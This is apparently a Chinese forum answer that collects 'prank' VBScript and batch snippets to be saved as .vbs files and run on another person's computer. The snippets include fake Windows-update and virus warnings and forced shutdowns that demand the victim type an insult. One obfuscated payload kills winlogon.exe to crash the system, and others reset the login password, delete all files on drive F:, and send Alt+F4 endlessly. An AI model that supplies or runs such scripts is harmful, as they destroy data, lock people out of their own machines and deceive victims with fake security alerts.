vbs整人代碼

---------------------------------------------------------------------

代碼:

Set ws=WScript.CreateObject("WScript.Shell")

ws.popup"大家好，我就是改變社會風氣，風魔萬千少女，刺激電影市道，提高年輕人內涵，",10,"閃亮登場",64

ws.popup"玉樹臨風，風度翩翩的……“咕嚕…咕嚕…”，不好意思，我內急先閃了，再見！",15,"farewell",64

wscript.sleep 100000

ws.popup"發現重要windows更新未安裝，系統將自動下載更新並安裝",10

ws.popup"正在下載windows更新……",12

wscript.sleep 10000

ws.popup"windows更新已下載完畢，正在安裝更新……",12

wscript.sleep 3000

msgbox"系統檢測到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ，並在強行嵌入妳的電腦",4132,"是否對其進行掃描？"

msgbox"軟件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 發行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全狀況：有病毒",vbinformation

msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安裝"

msgbox"阻止失敗，請檢查防火墻是否開啟"

wscript.sleep 15000

ws.popup"windows更新安裝成功！",vbinfmation,20

msgbox"您的電腦可能已被入侵，請盡快修改您的QQ密碼及其他機密資料,以免QQ被盜或丟失資料",vbinformation

ws.popup"哈哈，我已經控制了妳的電腦！",12,"很高興見到妳",64

ws.popup"不信？我用妳的電腦打開我的QQ空間給妳看看",10

ws.run"/index.htm"

ws.popup"現在相信了吧？我再打開妳的記事本給妳寫封英語信",20

ws.popup"記事本會被打開並最大化，這時妳不要動，千萬別把目標轉移到其他窗口，耐心看我把信寫完。否則引起系統混亂我可不負責！"

ws.run "notepad",3 : wscript.sleep 2000

verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")

---------------------------------------------------------------------

代碼2:

WScript.Echo("嘿，謝謝妳打開我哦，我等妳很久拉！"&TSName)

WScript.Echo("妳是可愛的XX童鞋嗎?")

WScript.Echo("哈,我想妳拉，這妳都不知道嗎？")

WScript.Echo("怎麽才來，說~是不是不關心我")

WScript.Echo("哼,我生氣拉，等妳這麽久，心都涼啦。")

WScript.Echo("夜黑很生氣，後果很嚴重哦。")

WScript.Echo("嘿嘿！妳也會很慘滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那妳要點上100下哦，不過會給妳驚喜滴")

WScript.Echo("還剩100下，快點點哦")

WScript.Echo("還剩99下，快點，小笨蛋！")

WScript.Echo("還剩98下對，就這樣快點點！")

WScript.Echo("還剩97下。妳啊就是笨，要快哦，我先不打擾妳工作。")

WScript.Echo("還剩96下，記得要快哦！")

WScript.Echo("還剩95下")

WScript.Echo("還剩94下")

WScript.Echo("還剩93下")

WScript.Echo("還剩92下")

WScript.Echo("還剩91下")

WScript.Echo("還剩90下")

WScript.Echo("還剩89下")

WScript.Echo("還剩88下")

WScript.Echo("還剩87下")

WScript.Echo("還剩86下")

WScript.Echo("還剩85下")

WScript.Echo("還剩84下")

WScript.Echo("還剩83下")

WScript.Echo("還剩82下")

WScript.Echo("還剩81下")

WScript.Echo("還剩80下")

WScript.Echo("還剩79下")

WScript.Echo("還剩78下")

WScript.Echo("還剩77下")

WScript.Echo("還剩76下")

WScript.Echo("還剩75下")

WScript.Echo("還剩74下")

WScript.Echo("還剩73下")

WScript.Echo("還剩72下")

WScript.Echo("還剩71下")

WScript.Echo("還剩70下")

WScript.Echo("還剩69下")

WScript.Echo("還剩68下")

WScript.Echo("還剩67下")

WScript.Echo("還剩66下")

WScript.Echo("還剩65下")

WScript.Echo("還剩64下")

WScript.Echo("還剩63下")

WScript.Echo("還剩62下")

WScript.Echo("還剩61下")

WScript.Echo("還剩60下")

WScript.Echo("還剩59下")

WScript.Echo("還剩58下")

WScript.Echo("還剩57下")

WScript.Echo("還剩56下")

WScript.Echo("還剩55下")

WScript.Echo("還剩54下")

WScript.Echo("還剩53下")

WScript.Echo("還剩52下")

WScript.Echo("還剩51下")

WScript.Echo("還剩50下")

WScript.Echo("還剩49下")

WScript.Echo("還剩48下")

WScript.Echo("還剩47下")

WScript.Echo("還剩46下")

WScript.Echo("還剩45下")

WScript.Echo("還剩44下")

WScript.Echo("還剩43下")

WScript.Echo("還剩42下")

WScript.Echo("還剩41下")

WScript.Echo("還剩40下")

WScript.Echo("還剩39下")

WScript.Echo("還剩38下")

WScript.Echo("還剩37下")

WScript.Echo("還剩36下")

WScript.Echo("還剩35下")

WScript.Echo("還剩34下")

WScript.Echo("還剩33下")

WScript.Echo("還剩32下")

WScript.Echo("還剩31下")

WScript.Echo("還剩30下")

WScript.Echo("還剩29下")

WScript.Echo("還剩28下")

WScript.Echo("還剩27下")

WScript.Echo("還剩26下")

WScript.Echo("還剩25下")

WScript.Echo("還剩24下")

WScript.Echo("還剩23下")

WScript.Echo("還剩22下")

WScript.Echo("還剩21下")

WScript.Echo("還剩20下")

WScript.Echo("還剩19下")

WScript.Echo("還剩18下")

WScript.Echo("還剩17下")

WScript.Echo("還剩16下")

WScript.Echo("還剩15下")

WScript.Echo("還剩14下")

WScript.Echo("還剩13下")

WScript.Echo("還剩12下")

WScript.Echo("還剩11下")

WScript.Echo("還剩10下")

WScript.Echo("還剩9下")

WScript.Echo("還剩8下")

WScript.Echo("還剩7下")

WScript.Echo("還剩6下")

WScript.Echo("還剩5下")

WScript.Echo("還剩4下")

WScript.Echo("還剩3下")

WScript.Echo("還剩2下")

WScript.Echo("還剩1下")

WScript.Echo("還剩0下")

WScript.Echo("哎看妳可憐，饒了妳吧")

WScript.Echo("還剩下")

WScript.Echo("還剩下停停！！！慢點，我有話要說")

WScript.Echo("還剩下，妳繼續點我就會消失滴")

WScript.Echo("還剩下，以後就看不到我拉。嗚嗚~555555")

WScript.Echo("還剩下，妳現在可以選擇停止！")

WScript.Echo("還剩下。妳還點啊，不要我拉？")

WScript.Echo("還剩下，有點傷心拉，幹嘛丟棄人家")

WScript.Echo("還剩下。瘋了，妳有點負意！")

WScript.Echo("還剩下。對。妳就點吧，我恨妳！")

WScript.Echo("還剩下，不明白，刪除我妳就好嗎？")

WScript.Echo("還剩下！真要刪除我？")

WScript.Echo("還剩下。可是我真的很眷戀妳。。。")

WScript.Echo("還剩下。不要這麽絕情嘛，人家是愛妳的！")

WScript.Echo("還剩下。哼，既然妳這麽絕情。也別怪我無義！！！")

WScript.Echo("我本因該消失的，不過我留戀妳滴芳容，萬能的上帝又給了壹次機會。")

WScript.Echo("想結束我麽?那妳就再多點壹次")

WScript.Echo("呵呵。QQ1021435988")

---------------------------------------------------------------------

藍屏代碼:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

Execute runner

---------------------------------------------------------------------

掉qq：

taskkill /im qq.exe /f /t

---------------------------------------------------------------------

10秒強制關機（任務管理器無效）：

shutdown -s -t 10

---------------------------------------------------------------------

死機：

start cmd

---------------------------------------------------------------------

設置登錄密碼為2010：

net user "%username%" 2010

---------------------------------------------------------------------

讓電腦只剩壹個背景

taskkill /im /f /t explorer.exe

---------------------------------------------------------------------

莫名其妙結束當前程序:

set ws=createobject("wscript.shell")

ws.sendkeys "%{f4}"

loop

---------------------------------------------------------------------

不斷提示妳是豬:

msgbox("妳是豬")

loop

---------------------------------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是大笨笨！哈哈，不說我就壹分鐘關妳機，不信，試試···我說到做到！"" ",0 ,true

dim a

do while(a <> "我是大笨蛋！哈哈！我是大肥豬！")

a = inputbox ("說我是大笨蛋！哈哈！我是大肥豬！,我就不關妳的機，快撒，說 ""我是大笨笨！哈哈"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛豬"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮嘎嘎.爽歪歪啊 "

---------------------------------------------------------------------

“我是畜生”:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""說我是畜生，不說就20秒關妳機，不信，試試···"" ",0 ,true

dim a

do while(a <> "我是畜生")

a = inputbox ("說我是畜生,就不關機，快撒，說 ""我是畜生"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

---------------------------------------------------------------------

10秒關機:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""妳被耍了"" ",0 ,true

---------------------------------------------------------------------

刷對話框:

msgbox("妳被耍了")

loop

---------------------------------------------------------------------

直接關機:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true

---------------------------------------------------------------------壹分鐘彈出壹次:

do until i=10

i=i+1

msgbox "CPU溫度過高，系統出現嚴重誤！",16+4096,"系統提示"

wscript.sleep 1000*60 '時間可以自己改

loop

---------------------------------------------------------------------<script language="javascript">

function hr(){

alert('妳關不掉的^_^')

hr();

}

</script>

</body>

---------------------------------------------------------------------do while(1)

msgbox "妳死定了！"

loop

還有更多的！：

---------------------------------------------------------------------

刪除F:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

---------------------------------------------------------------------

不斷按下alt+f4 （開什麽都關閉……） :

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------

註意：分割線之間為壹個代碼，復制進TXT文檔，另存為.vbs或.vbe，望樓主采納！！！ Q群：108141490 --村長

上一篇:picble中文是什麽意思

下一篇:繪畫用品有哪些